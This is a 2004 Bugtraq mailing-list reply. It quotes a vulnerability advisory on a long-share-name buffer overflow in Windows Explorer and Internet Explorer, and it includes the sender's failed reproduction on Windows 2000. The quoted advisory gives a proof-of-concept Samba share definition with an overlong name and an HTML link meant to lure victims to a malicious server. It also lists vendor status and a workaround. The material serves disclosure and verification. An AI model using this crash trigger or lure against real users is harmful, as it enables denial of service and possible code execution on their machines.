bugtraq - Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow.

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Date: Mon, 26 Apr 2004 15:55:55 -0500 (CDT)
From: Daniel Regalado Arias <dan57170@...oo.com>
To: Rodrigo Gutierrez <rodrigo@...ellicomp.cl>,
   full-disclosure@...ts.netsys.com, bugtraq@...urityfocus.com,
   submissions@...ketstormsecurity.org, info@...uriteam.com
Subject: Re: Microsoft's Explorer and Internet Explorer long share name buffer overflow.


Well, i have tested it in W2k with sp3 and explorer
didnt get crashed!!!!!!!

Well, i cant get into the share because a message
appears saying "share name not found"!!!!

But, explorer is OK.


 --- Rodrigo Gutierrez <rodrigo@...ellicomp.cl>
escribió: > Sunday afternoon is a bit boring, and
weather sucks
> down here in Santiago,
> Chile so here we go...
> The vuln is attached in TXT format, I would be
> gratefull if someone could
> verify if it affects windows 2003 as well.
> 
> Rodrigo.-
> > Microsoft Explorer and Internet Explorer Long
Share
> Name Buffer Overflow.
> 
> 
> 
> Author: Rodrigo Gutierrez <rodrigo@...ellicomp.cl>
> 
> Affected: MS Internet Explorer, MS Explorer
> (explorer.exe) 
>           Windows XP(All), Windows 2000(All)
> 
> Not Tested: Windows 2003, Windows me, Windows 98,
> Windows 95
> 
> Vendor Status: i notified the vendor in the
> beginning of 2002, this
>                vulnerability was supposed to be
> fixed in xp service
>                pack 1 according to the vendors
> knowledge base article
>                322857.
> 
> Vendor url:
>
http://support.microsoft.com/default.aspx?scid=kb;en-us;322857
> 
> 
> 
> Background.
> 
> MS Explorer (explorer.exe) and MS Internet
> Explorer(IEXPLORE.EXE) are 
> core pieces of Microsoft Windows Operating Systems.
> 
> 
> 
> Description
> 
> Windows fails to handle long share names when
> accessing a remote 
> file servers such as samba, allowing a malicious
> server to crash the 
> clients explorer and eventually get to execute
> arbitrary code in the 
> machine as the current user (usually with
> Administrator rights in windows
> machines).
> 
> 
> 
> Analysis
> 
> In order to exploit this, an attacker must be able
> to get a user to connect 
> to a malicious server which contains a share name
> equal or longer than 300
> characters, windows wont allow you to create such a
> share, but of course samba 
> includes the feature ;).   After your samba box is
> up and running create a 
> share in you smb.conf :
> 
> 
> 
> #------------ CUT HERE -------------
> 
>
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
> comment = Area 51
> path = /tmp/testfolder
> public = yes
> writable = yes
> printable = no
> browseable = yes
> write list = @trymywingchung
> 
> #------------ CUT HERE -------------
> 
> 
> After your server is up, just get to your windows
> test box and get to the
> start menu > run > \\your.malicious.server.ip.,
> plufff, explorer will crash
> :).
> 
> Social Engineering:
> 
> <a href="\\my.malicious.server.ip">Enter My 0day
> sploit archive</a>
>  
> 
> 
> Workaround.
> 
> From your network card settings disable the client
> for Microsoft networks 
> until a real fix for this vulnerability is
> available.
>  

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